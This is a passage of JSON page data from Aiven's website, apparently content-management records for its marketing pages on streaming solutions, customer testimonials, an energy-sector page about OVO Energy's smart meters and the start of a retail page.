Analytics"}],"markDefs":[],"style":"h3"},{"_key":"91bbd56056fc","_type":"block","children":[{"_key":"287afdf672a80","_type":"span","marks":["strong"],"text":"Personalized Customer Experiences:"},{"_key":"9e154b1e6d8f0","_type":"span","marks":[],"text":" Analyze customer behavior and historical context to deliver personalized offers and content"}],"markDefs":[],"style":"normal"},{"_key":"74a4958869f9","_type":"block","children":[{"_key":"c1e759c324de0","_type":"span","marks":["strong"],"text":"Real-time Marketing:"},{"_key":"03fe095bfdff0","_type":"span","marks":[],"text":" Deliver personalized messages while customers are engaged to increase conversion rates"}],"markDefs":[],"style":"normal"},{"_key":"49e2efbd7ac0","_type":"block","children":[{"_key":"da52db6cde660","_type":"span","marks":["strong"],"text":"Supply Chain Optimization:"},{"_key":"8fa95087de581","_type":"span","marks":[],"text":" Identify and address potential disruptions, optimize inventory levels, and improve delivery times to decrease costs and improve efficiency"}],"markDefs":[],"style":"normal"},{"_key":"393b8d8bbf00","_type":"block","children":[{"_key":"d5d691368240","_type":"span","marks":["strong"],"text":"How?"}],"markDefs":[],"style":"normal"},{"_key":"cdafb8c6d1b8","_type":"block","children":[{"_key":"579ee83818160","_type":"span","marks":[],"text":"Connect to virtually any data source, move data with ultra-low latency, and prepare it for immediate use"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7bcbad4f47e6","_type":"block","children":[{"_key":"da8fb02382010","_type":"span","marks":[],"text":"Deliver real-time data to analytics applications, enabling lightning-fast insights and actions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0dd6279f57c4","_type":"block","children":[{"_key":"1e7179fd03c1","_type":"span","marks":["strong"],"text":"Learn more:"}],"markDefs":[],"style":"normal"},{"_key":"b4f8d7a4e5c7","_type":"block","children":[{"_key":"f9d0b5608b78","_type":"span","marks":[],"text":"Blog: "},{"_key":"6093a93de632","_type":"span","marks":["5d8d87f5eeb2"],"text":"Moving analytics from batch to real time"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5d8d87f5eeb2","_type":"internalLink","internalLink":{"_ref":"b06fbbce-a80e-4e66-b4b1-dc6f57f9023f","_type":"reference"}}],"style":"normal"},{"_key":"e76454250f42","_type":"block","children":[{"_key":"631317044cd7","_type":"span","marks":[],"text":"Blog: "},{"_key":"c7763bc4aa15","_type":"span","marks":["e168fa70c6ed"],"text":"Materialized views in Aiven for ClickHouse®"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"e168fa70c6ed","_type":"internalLink","internalLink":{"_ref":"a6e96484-2c71-4574-9297-d68a69f822d7","_type":"reference"}}],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"real-time-analytics","imageHeight":35,"title":"Real-time Analytics"},{"_key":"qycz6xk93nfr92sk5silomnv85hj3hfh","_type":"tabItem","content":[{"_key":"wxl8ej0hnyd3gdu16itdjl9cb4f8ns93","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-4e3defcb1c5d4e550f76faa2f937c1fc11f79c8c-1616x1090-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","narrowImage":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"7ebeff83a8b5","_type":"block","children":[{"_key":"71d0aa06183c0","_type":"span","marks":[],"text":"Seamless, Real-time Data Integration"}],"markDefs":[],"style":"h3"},{"_key":"839966056053","_type":"block","children":[{"_key":"6a524eb425570","_type":"span","marks":["strong"],"text":"Data Synchronization:"},{"_key":"0dcc98ef4cdd1","_type":"span","marks":[],"text":" Synchronize data between different systems, databases, or applications in real time"}],"markDefs":[],"style":"normal"},{"_key":"b5c5b4293422","_type":"block","children":[{"_key":"2691ef426d850","_type":"span","marks":["strong"],"text":"Database Replication and Migration:"},{"_key":"d36e67938b971","_type":"span","marks":[],"text":" Replicate data for high availability, disaster recovery, or migration to new systems"}],"markDefs":[],"style":"normal"},{"_key":"fa2e94658294","_type":"block","children":[{"_key":"50ad34ae6cb80","_type":"span","marks":["strong"],"text":"Auditing and Compliance:"},{"_key":"3c729a0b5bf61","_type":"span","marks":[],"text":" Maintain a detailed audit trail of changes to ensure compliance with security and regulatory requirements"}],"markDefs":[],"style":"normal"},{"_key":"5d07e36fa535","_type":"block","children":[{"_key":"7220c9be3ad3","_type":"span","marks":["strong"],"text":"How?"}],"markDefs":[],"style":"normal"},{"_key":"38a08b0beb99","_type":"block","children":[{"_key":"9ff8a64346190","_type":"span","marks":[],"text":"Identify and capture changes in a source database, and stream the changed data into Apache Kafka®"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"be2dfeab5787","_type":"block","children":[{"_key":"9ff8a64346194","_type":"span","marks":[],"text":"Deliver the changed data to target system in near-real time to ensure consistency and freshness"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4ef03bd14010","_type":"block","children":[{"_key":"318d4db3a553","_type":"span","marks":["strong"],"text":"Learn more:"}],"markDefs":[],"style":"normal"},{"_key":"a82cf3edb4c0","_type":"block","children":[{"_key":"10b54439858c","_type":"span","marks":[],"text":"Blog: "},{"_key":"fa30c907067f","_type":"span","marks":["247279b2588d"],"text":"Secure, Segregated Multi-tenant Analytics in PostgreSQL® using Aiven for Apache Kafka®, Debezium®, and Aiven for ClickHouse®"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"247279b2588d","_type":"internalLink","internalLink":{"_ref":"467f9fbf-31af-480d-a70b-2b83fdd882a4","_type":"reference"}}],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"cdc","imageHeight":35,"title":"Change Data Capture (CDC)"},{"_key":"jyrieo6lqua7xyd6wmqribjcnmevbugr","_type":"tabItem","content":[{"_key":"s35dcytdv1cxzhhz7erq9jk8p052q6va","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-31dd57146e50fe2473ccecf4343985171712398b-1786x1084-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"default","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"li1mma5ephlormwngomg6phgoii2236l","_type":"block","children":[{"_key":"7pg0y0lmeqlmzeqj9kmpi5q1acep22lo","_type":"span","marks":[],"text":"Real-time Recommendations"}],"markDefs":[],"style":"h3"},{"_key":"3e5cc6b5ea41","_type":"block","children":[{"_key":"39af91ec327c0","_type":"span","marks":["strong"],"text":"E-commerce Recommendations:"},{"_key":"c6ca348681a31","_type":"span","marks":[],"text":" Analyze shopper behavior and purchase history to deliver instant AI-powered recommendations"}],"markDefs":[],"style":"normal"},{"_key":"a31be617fab5","_type":"block","children":[{"_key":"7738697d8dfa0","_type":"span","marks":["strong"],"text":"Targeted Advertising Campaigns:"},{"_key":"38c5a73382b71","_type":"span","marks":[],"text":" Deliver personalized ads and marketing messages while users are actively engaged"}],"markDefs":[],"style":"normal"},{"_key":"98f0736fae19","_type":"block","children":[{"_key":"1daaf5cf02940","_type":"span","marks":["strong"],"text":"Content Personalization:"},{"_key":"020754d9a5aa1","_type":"span","marks":[],"text":" Analyze viewer preferences, history, and contextual data to provide personalized content in real time"}],"markDefs":[],"style":"normal"},{"_key":"05553f68b0d0","_type":"block","children":[{"_key":"c87cd1123b39","_type":"span","marks":["strong"],"text":"How?"}],"markDefs":[],"style":"normal"},{"_key":"18b6568c6a9d","_type":"block","children":[{"_key":"031e69a3507c0","_type":"span","marks":[],"text":"Capture user behavior and chat requests in real time"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9dda0f96a46d","_type":"block","children":[{"_key":"1655accfcd3a","_type":"span","marks":[],"text":"Analyze real-time and historical data for greater relevancy"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"321d37b3be25","_type":"block","children":[{"_key":"96d5825b955f","_type":"span","marks":[],"text":"Establish an AI Trust Layer to validate requests to ensure contextual relevance and avoid misinterpretations, and validate AI responses to protect sensitive information and filter out biased, harmful, or offensive responses"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0c7ded62ecb2","_type":"block","children":[{"_key":"8c614500a628","_type":"span","marks":["strong"],"text":"Learn more:"}],"markDefs":[],"style":"normal"},{"_key":"aaa0c6e6a31e","_type":"block","children":[{"_key":"35d788bdcf94","_type":"span","marks":[],"text":"Whitepaper: "},{"_key":"084b9eaf5f43","_type":"span","marks":["8c047ce534f2"],"text":"IDC InfoBrief: Building a Cloud Data Foundation for the AI Era"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8c047ce534f2","_type":"internalLink","internalLink":{"_ref":"60c55015-fdbe-4926-9b0c-1f3cf3444631","_type":"reference"}}],"style":"normal"}],"topOverlap":false,"variant":"mediaLeft"}],"id":"ai-recommendation-engine","imageHeight":35,"title":"AI Recommendation Engine"}],"noSpaceBottom":true,"noSpaceTop":false,"roundedCorners":"rounded-br","title":"Streaming Solutions","topOverlap":false,"variant":"button-toggle"},{"_key":"7e228f78cc8ff314e75ed732b2e14457","_type":"infoBannerSection","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","darkTheme":true,"disabled":false,"fullWidth":false,"infoBanner":{"_ref":"99ff5fe1-04b0-463c-a797-9496558af6f7","_type":"reference"},"noSpaceBottom":false,"noSpaceTop":false,"variant":"vertical"},{"_key":"iu4f286sd7vfrn4k588idonv8pz4iiau","_type":"tab","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"items":[{"_key":"phpuoefwft8cjph7hvtx40igtmgob44l","_type":"tabItem","content":[{"_key":"jpbb9lczs2gbtoscej81o0o5b8atm25m","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"gzuej37n3j2xo2qnqzchvkcipmcv1zi8","_ref":"c0c5a62e-e66b-4231-93b3-ca4913de22f6","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"media"}],"id":"priceline","image":{"_type":"mainImage","asset":{"_ref":"image-c80b8ce7d78923f0b3a7afc5983325264060d3a3-800x191-png","_type":"reference"}},"imageHeight":30,"title":"Priceline"},{"_key":"8hjbex4pxn2co117zansvj4fore2aa31","_type":"tabItem","content":[{"_key":"4b1kdvo6nboa7lzgtf04ftztf88yz0yp","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"2da92ijyqc40clx8ref9g7g0x3jnyw9o","_ref":"7c38c6b2-006e-497b-898b-c762beacacaa","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false,"variant":"media"}],"id":"mirakl","image":{"_type":"mainImage","asset":{"_ref":"image-3c7262d7b3ed8f0bbba8c081868828ae144d38f5-809x178-svg","_type":"reference"}},"imageHeight":30,"title":"Mirakl"},{"_key":"ue5jbsdun76k5jqcahdj1s37390f6sjw","_type":"tabItem","content":[{"_key":"82whmtzg3ni9l4whwfbvxpdnnxp5hyog","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"rdauxc1mpgtmwpqmfq1tmom74x5e1cs7","_ref":"70f451ff-8468-443e-a3ab-ec8e8e432f8a","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"media"}],"id":"avaya","image":{"_type":"mainImage","asset":{"_ref":"image-d8c2c332fc130185ddcd23a9db19888529982e0a-1200x343-png","_type":"reference"}},"imageHeight":30,"title":"Avaya"},{"_key":"6irriiwy20i6bknbpa2kdf24ebx82miz","_type":"tabItem","content":[{"_key":"swg61nf0v4ti4d9qijmh9cc87ud484f5","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"g55n4epvgwc17ry95xczyx3e4zvka5zs","_ref":"5760b3cc-20cf-4a10-8fa7-742d05ab5314","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"media"}],"id":"idealo","image":{"_type":"mainImage","asset":{"_ref":"image-8fdf2cff104a37a3df84cdb80f753d4218dcdc5a-657x200-png","_type":"reference"}},"imageHeight":32,"title":"idealo"},{"_key":"e2bwm5orq40xmyr1p76vdi5efvkeelgf","_type":"tabItem","content":[{"_key":"tow3h5dvx9wim5hymnm8kecnpnpul6c6","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"a407cb060036","_ref":"ad792742-b3d7-4d7e-aea1-b7d85d4c7aba","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"media"}],"id":"tv2","image":{"_type":"mainImage","asset":{"_ref":"image-016bf3d3dfbf615cc175cc4a75c221f574d07452-2034x2575-png","_type":"reference"}},"imageHeight":30,"title":"TV2 Norway"},{"_key":"8285388t9sy6sq59va44x04f9lxyw3b7","_type":"tabItem","content":[{"_key":"cg7s2xlzeyj18cnlmcybadbaen1fzga4","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"xp604q188cxpvatp5t4hh2b2ppg60ccx","_ref":"3c97f2cf-4e4a-4ec4-9d91-103aeeb23f73","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false,"variant":"media"}],"id":"conrad","image":{"_type":"mainImage","asset":{"_ref":"image-b9548cd138f54438c8efd8d6a8d54e58860f1970-1024x270-svg","_type":"reference"}},"imageHeight":30,"title":"Conrad"},{"_key":"ex6qaqcn6rfk657a6y5m5bpmzz6aadmi","_type":"tabItem","content":[{"_key":"txvvadnydm8a32b333r8lygdqc62b2r6","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"pt0su4iac6jb30hd024iytqwtwvnm9yl","_type":"testimonialItem","company":{"_ref":"Qi6syfOyHgBi7ehXtqDgB","_type":"reference"},"content":[{"_key":"ed2b9cac0aae","_type":"block","children":[{"_key":"e55474c9b21d0","_type":"span","marks":[],"text":"Managing, developing and scaling Kafka in-house is just like any other critical high volume system: it takes a lot of skill, time, research, care and vision to get it right. Managed Kafka has freed a lot of time for our teams to spend on things that add value. We’re talking about major savings here."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","internalLink":{"_ref":"97a6f337-05d2-4247-9275-e89d42383441","_type":"reference"},"title":"Read customer story"},"image":{"_type":"mainImage","asset":{"_ref":"image-2c3e3f1f2eb352753a5de555b07dcfbf19cf8c53-1920x1037-jpg","_type":"reference"}},"jobTitle":"Head of Infrastructure, Wolt","name":"Mikko Peltola"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","variant":"media"}],"id":"wolt","image":{"_type":"mainImage","asset":{"_ref":"image-7b5eafd5b8c4ff2e3a89fea7f220ace9e02fe168-106x39-svg","_type":"reference"}},"imageHeight":30,"title":"Wolt"},{"_key":"42rlzse2pklsyumlf4yske0l7bnbkynm","_type":"tabItem","content":[{"_key":"neiog4zavqoq7qv9ok50wqc2axop01dz","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"4pi3chza7whlklq7b3p593lqwqclqnzy","_ref":"3yPgOzGSohafaU7PJiO4Xa","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false,"variant":"media"}],"id":"adeo","image":{"_type":"mainImage","asset":{"_ref":"image-5d603e3dbdd4205272fd6bd44d2bad0511a54721-225x110-svg","_type":"reference"}},"imageHeight":35,"title":"Adeo"}],"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-br","subtitle":[{"_key":"j71kgusgvxkhhnisady3q3598ko23ghl","_type":"block","children":[{"_key":"ppzgh8pfhe53uonlb7m6grko00mz4vkr","_type":"span","marks":[],"text":"Aiven's solutions empower startups and large enterprises to collect, process, analyze, and share streaming data to automatically trigger machine actions and for faster human decisions."}],"markDefs":[],"style":"normal"},{"_key":"d38c0df6463c","_type":"block","children":[{"_key":"bb99510e9c43","_type":"span","marks":[],"text":"Click on any customer below to learn about their experience using Aiven."}],"markDefs":[],"style":"small"}],"tagline":"Why Aiven","title":"Over 1,000 customers worldwide"},{"_key":"wws9c25jdi0lel14wifp15q8jrhphd8d","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Talk to our experts"},"roundedCorners":"rounded-t","secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"subtitle":[{"_key":"p3dqlbdgr88fumooighvkes9sdp93wsa","_type":"block","children":[{"_key":"lizjrsrmzr4djv0ggt6l64qjxknz6540","_type":"span","marks":[],"text":"Moving your data infrastructure to Aiven’s cloud-based service increases both speed through reduced latency and flexibility of your business to keep customers happy. With Aiven, you can scale up during peak seasons, and back down again as needed with zero data downtime."}],"markDefs":[],"style":"normal"}],"title":"The cloud data advantage","topOverlap":false,"variant":"centerColumn"}],"seo":{"_type":"metaData","metaDescription":"Create real-time streaming solutions for streaming analytics, change data capture, and event driven architectures with Aiven for Streaming.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-2870213a234c6b41c166ea61fcb0c585508896b6-1200x628-png","_type":"reference"}},"metaTitle":"Aiven for streaming solutions "},"slug":{"_type":"slug","current":"/solutions/aiven-for-streaming"},"title":"Aiven for Streaming"} {"__i18n_lang":"en","_createdAt":"2022-09-12T09:48:38Z","_id":"ee6cfc70-2c15-45eb-9b4e-581cadb7cd6b","_rev":"FKB2VSfLo1od9Oar6MpI5J","_type":"solution","_updatedAt":"2024-04-12T07:59:04Z","content":[{"_key":"83e9399ff6ec","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for energy","parentPage":{"_type":"link","internalLink":{"_ref":"02642665-bb66-4535-bc74-65b55ce0fd0d","_type":"reference"},"title":"All solutions"}},"description":[{"_key":"d8fb03844115","_type":"block","children":[{"_key":"85293a6f1f410","_type":"span","marks":[],"text":"The smart grid and its components rely heavily on data and its transmission. This dependence will only continue to grow, and with it the need for advanced solutions that are both distributed and scalable."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-f662024aa70aa58363b8dd7ea64f7e5815c5e057-1200x1200-png","_type":"reference"}},"imageSize":"small","primaryCTA":{"_type":"link","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Book a demo"},"rounded":false,"roundedCorners":"rounded-b","title":"Aiven for Energy","variant":"default"},{"_key":"91508e2bf5c0","_type":"textColumn","disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"9da0b30e0794","_type":"block","children":[{"_key":"5d9d9521a7980","_type":"span","marks":[],"text":"The cloud uncouples computation and storage from physical hardware for end users. You don’t have to worry about over or under provisioning hardware - you can scale it immediately."}],"markDefs":[],"style":"normal"}],"title":"It starts with the cloud","variant":"oneColumn"},{"_key":"27a41c1a60a6","_type":"textImage","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-63684a6fd59026823bf41d591b050d248c020c38-471x272-svg","_type":"reference"}},"noSpaceBottom":true,"rounded":false,"text":[{"_key":"548fda119bfe","_type":"block","children":[{"_key":"114cd4f064070","_type":"span","marks":[],"text":"Because the smart grid relies on two-way communication, you need software that can handle the messages that are sent between devices, such as smart meters, and the applications you use to deliver services. And that's a lot of messages."}],"markDefs":[],"style":"normal"},{"_key":"ac7d2d70d829","_type":"block","children":[{"_key":"0145f9080bbf0","_type":"span","marks":[],"text":"\nApache Kafka is popular because of its resilience, scalability, and speed. For instance, OVO Energy uses Aiven for Apache Kafka to support over 1 million smart meters. In fact, Aiven for Apache Kafka serves as the backbone for their entire data infrastructure."}],"markDefs":[],"style":"normal"}],"title":"Then moves to Apache Kafka®","variant":"mediaLeft"},{"_key":"877126f50bca","_type":"textImage","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-50b9113643fece62a9d3243e682264696522d2dd-1360x689-svg","_type":"reference"}},"rounded":false,"text":[{"_key":"a89da07c9a3d","_type":"block","children":[{"_key":"98fd7d31dd7e0","_type":"span","marks":[],"text":"A cool thing you can do is mirror your primary Apache Kafka cluster to a second in another region or cloud altogether. This way, you can rest assured that your pipeline will have minimal interruption if something happens to your primary cluster. We have lots of customers doing exactly that."}],"markDefs":[],"style":"normal"},{"_key":"789f4390512c","_type":"block","children":[{"_key":"02fd64e614a90","_type":"span","marks":[],"text":"\nAside from preparing for the worst, you’ll want to process, filter, and enrich your data in real-time with a platform such as Apache Flink®. From there you can send it to a NoSQL, analytics-driven database like Apache Cassandra®."}],"markDefs":[],"style":"normal"},{"_key":"083b28a513ad","_type":"block","children":[{"_key":"5f540f7ffc0a0","_type":"span","marks":[],"text":"Let’s look at a sample architecture."}],"markDefs":[],"style":"normal"}],"title":"And ends with redundancy, analytics, and long-term storage","variant":"mediaRight"},{"_key":"16dbc010331a","_type":"textImage","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-45f04907ce0719f1793991ea36cb457f6f65d2cc-2500x3125-png","_type":"reference"}},"narrowImage":true,"rounded":true,"secondaryCTA":{"_type":"link","internalLink":{"_ref":"1bbd57e8-62ea-4ddc-a68e-96cd7daf90af","_type":"reference"},"title":"Read the case study"},"text":[{"_key":"416a260adb77","_type":"block","children":[{"_key":"4551dd4c40fa0","_type":"span","marks":[],"text":"OVO Energy has spent the last decade investing in tackling the most important issue of our time; the climate crisis. Their goal is to become a net zero carbon business by 2030 and bring their customers along for the ride."}],"markDefs":[],"style":"normal"},{"_key":"ae61a36a8ab1","_type":"block","children":[{"_key":"570622963fbc0","_type":"span","marks":[],"text":"OVO needed a fault-tolerant, high-performing messaging system that would act as a go-between for applications that hadn't even been built yet."}],"markDefs":[],"style":"normal"},{"_key":"92f6d518ba36","_type":"block","children":[{"_key":"4dd052b35feb0","_type":"span","marks":[],"text":"In other words, they needed Apache Kafka."}],"markDefs":[],"style":"normal"}],"title":"How OVO used Aiven services for over 1 million smart meters","variant":"mediaLeft"},{"_key":"8ea212f92c20","_type":"iframe","align":"center","disabled":false,"fullWidth":false,"headerPosition":"default","iframeHeight":700,"iframeSource":"https://go.aiven.io/l/890043/2021-01-08/3fk7","iframeTitle":"Energy contact","isPardotForm":true,"pardotFormType":"contact","rounded":false,"subtitle":[{"_key":"1ee9cad44cb3","_type":"block","children":[{"_key":"81de202f249a0","_type":"span","marks":[],"text":"Our account managers and customer success engineers have a great amount of experience working with Energy customers and can consult with you on how Aiven can help you overcome your challenges. Simply fill out the form to the left with your contact information, a little background information, and we’ll get back to you shortly."}],"markDefs":[],"style":"normal"}],"tagline":"Contact us","title":"Find more about Aiven for Energy"}],"seo":{"_type":"metaData","metaDescription":"The smart grid relies increasingly on data transmission, and needs advanced distributed and scalable solutions. Set them up with Aiven now.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-00cc34923692515e4605823afc9d6b5fabfc0137-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven for Energy – Benefit from our solution today!"},"slug":{"_type":"slug","current":"/solutions/aiven-for-energy"},"title":"Aiven for Energy"} {"__i18n_lang":"en","_createdAt":"2022-08-12T12:22:19Z","_id":"3efca932-e77b-436e-8a30-73aa9fe4d32e","_rev":"EXzA9uxcM5girV4aqe7v9Q","_type":"solution","_updatedAt":"2024-10-30T10:43:53Z","content":[{"_key":"tyn3k5jfjxz6zmtjyu6nydy5bot07jsa","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center bottom","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","breadcrumbs":{"currentPage":"Aiven for Retail","parentPage":{"_type":"link","internalLink":{"_ref":"02642665-bb66-4535-bc74-65b55ce0fd0d","_type":"reference"},"title":"All solutions"}},"darkTheme":true,"disabled":false,"fullWidth":false,"headline":[{"_key":"0964y4vw9njwdiswnbwmgk5k950b262a","_type":"block","children":[{"_key":"xhg8kofw5x63czt7soz1ls6i62ifux2o","_type":"span","marks":["color-primary"],"text":"Reimagine Retail"},{"_key":"61eb97c9c602","_type":"span","marks":[],"text":" with Aiven’s Data and AI Platform"}],"markDefs":[],"style":"h1"},{"_key":"f35b5366a1a7","_type":"block","children":[{"_key":"9fef44f462070","_type":"span","marks":[],"text":"Reliably scale your business with open source data infrastructure to maximize efficiency and innovate with AI"}],"markDefs":[],"style":"normal"}],"heroHasVideo":true,"imageSize":"large","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-b","title":"Evolve your applications with Aiven for AI","titleMultiColor":true,"variant":"default","videoHosting":"wistia","wistiaId":{"_type":"wistiaMedia","hashed_id":"qwwjjjdfew","id":126122474},"ytId":"YKhzd6rV_rM"},{"_key":"ff1614d1a4a0","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"781f9aeb9eb9","_ref":"894ceb68-d95c-4b1f-9016-1081ee820b01","_type":"ebook"}],"itemsPerRow":1,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","topOverlap":false},{"_key":"cccf76435ee7","_type":"iconList","darkTheme":false,"disabled":false,"fullWidth":true,"headerPosition":"default","iconSize":24,"icons":[{"_key":"e1df19dfd2ab","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-ae904dc4f35e259578ede3723110880b94da9928-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"acaa41175777","_type":"block","children":[{"_key":"3d595c9954b50","_type":"span","marks":[],"text":"Every item, tracked and managed."}],"markDefs":[],"style":"normal"}],"title":"Inventory management"},{"_key":"ea8b2d8036a7","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0a79c1fce4fc66bc0e3e731b6cbac27ba80bfeb9-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"d86b45e705dc","_type":"block","children":[{"_key":"268593dca4e90","_type":"span","marks":[],"text":"Create hyper-personalized, omnichannel customer experiences."}],"markDefs":[],"style":"normal"}],"title":"Customer accounts"},{"_key":"c029113ae7f3","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-bda93dbe58712282f2d4113904f1aabf01149f70-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"f2a82d37d740","_type":"block","children":[{"_key":"ae1fded623350","_type":"span","marks":[],"text":"Based on knowing your customers."}],"markDefs":[],"style":"normal"}],"title":"Shopping recommendations"},{"_key":"2f14681c11df","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-b75b64e036bf3f1eda9c1349e49abef43314cfd1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"6f8c8cd16db4","_type":"block","children":[{"_key":"f6e22a44b52b0","_type":"span","marks":[],"text":"Ramping capacity to meet demand."}],"markDefs":[],"style":"normal"}],"title":"Peak 